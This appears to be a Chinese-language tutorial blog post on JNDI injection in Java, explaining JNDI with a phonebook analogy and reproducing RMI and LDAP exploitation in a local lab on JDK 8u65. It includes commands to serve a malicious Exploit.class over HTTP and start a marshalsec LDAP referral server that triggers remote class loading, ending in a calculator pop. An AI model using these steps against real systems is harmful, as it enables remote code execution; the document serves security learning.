JNDI注入漏洞
JNDI
基础概念
JNDI 全称为 Java Naming and Directory Interface,即 Java 名称与目录接口。它是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,用来定位用户、网络、机器、对象和服务等各种资源。
我们可以用JNDI来定位数据库服务或一个远程Java对象。
JNDI 在 jdk 里面支持以下四种服务
- LDAP:轻量级目录访问协议
- 通用对象请求代理架构(CORBA);通用对象服务(COS)名称服务
- Java 远程方法调用(RMI) 注册表
- DNS 服务
这样讲JNDI还是很抽象,下面来看一个比喻:
比喻:电话簿(JNDI)和电话号码(资源)
想象一下,JNDI 就像是一个 电话簿,而 电话簿里的电话号码 就是你需要查找的 资源(比如数据库连接、远程服务等)。
- 电话簿(JNDI):
- 它是一个 目录服务,用来存储和管理各种资源的“名字”和“地址”。
- 比如,你可以通过名字(如“数据库连接”)找到对应的资源(如数据库的地址和配置)。
- 电话号码(资源):
- 这些是你需要的东西,比如数据库连接、远程服务、配置文件等。
- 你不需要记住具体的地址或配置,只需要记住名字(如“数据库连接”),然后通过电话簿(JNDI)查找。
举个例子
假设你是一个程序员,需要连接数据库。你可以这样做:
- 把数据库连接信息存到电话簿(JNDI)里:
- 名字:
myDatabase
- 地址:
jdbc:mysql://localhost:3306/mydb
- 名字:
- 当需要连接数据库时:
- 你只需要告诉电话簿(JNDI):“给我
myDatabase
的连接”。 - 电话簿(JNDI)会返回对应的数据库连接信息。
- 你只需要告诉电话簿(JNDI):“给我
为什么需要 JNDI?
- 解耦:
- 你不需要在代码里写死数据库地址或配置,只需要通过名字查找。
- 如果数据库地址变了,你只需要更新电话簿(JNDI),代码不需要修改。
- 集中管理:
- 所有的资源(数据库、远程服务等)都可以通过一个地方(JNDI)管理。
漏洞利用
基本原理
JNDI 注入,即当开发者在定义 JNDI
接口初始化时,lookup()
方法的参数被外部攻击者可控,攻击者就可以将恶意的 url
传入参数,以此劫持被攻击的Java客户端的JNDI请求指向恶意的服务器地址,恶意的资源服务器地址响应了一个恶意Java对象载荷(reference实例 or 序列化实例),对象在被解析实例化,实例化的过程造成了注入攻击。
JNDI结合RMI
RMI 原生漏洞
JDK版本:8u65
客户端:
1 | import javax.naming.InitialContext; |
服务端:
1 | import com.sun.jndi.rmi.registry.ReferenceWrapper; |
我们现在恶意字节码文件目录开启Python的http服务:
1 | python -m http.server 1234 指定1234端口开启 |
接着依次执行服务端与客户端代码,发现恶意字节码被执行,并弹出计算器。
如果发现代码和环境都没有问题但弹不出计算器,一定记得检查下自己的字节码是否写正确了。
25年3月4日大半天耗在这里(悲)。
原理
攻击者RMI服务器会向目标返回一个Reference对象,对象中指定某个精心构造的Factory类。
目标进行lookup()
时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()
获取外部远程对象实例。
我们在InitialContext.java
的 lookup()
这里下一个断点:
lookup()
调用了GenericURLContext.lookup()
:
注意看这里又调用了一次lookup()
,跟进:
我们进到了RegistryContext类,它是RMI中调用lookup()
方法的类。
说明JNDI在这里最后调用到了原生RMI的服务。
JNDI结合LDAP
LDAP(轻量级目录访问协议,Lightweight Directory Access Protocol)是一种用于存储和查询目录信息的协议。它类似于电话簿,可以快速查找用户、设备或其他资源的信息。
代码实现(本地环境)
受害者服务端:
1 | import javax.naming.Context; |
模拟攻击者:
在指定目录下用python命令开启http服务:(把恶意类Exploit.class部署到云端)
1 | python -m http.server 8000 |
接着用marshalsec开启ldap服务:
1 | java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit" |
运行脚本后发现弹出计算器: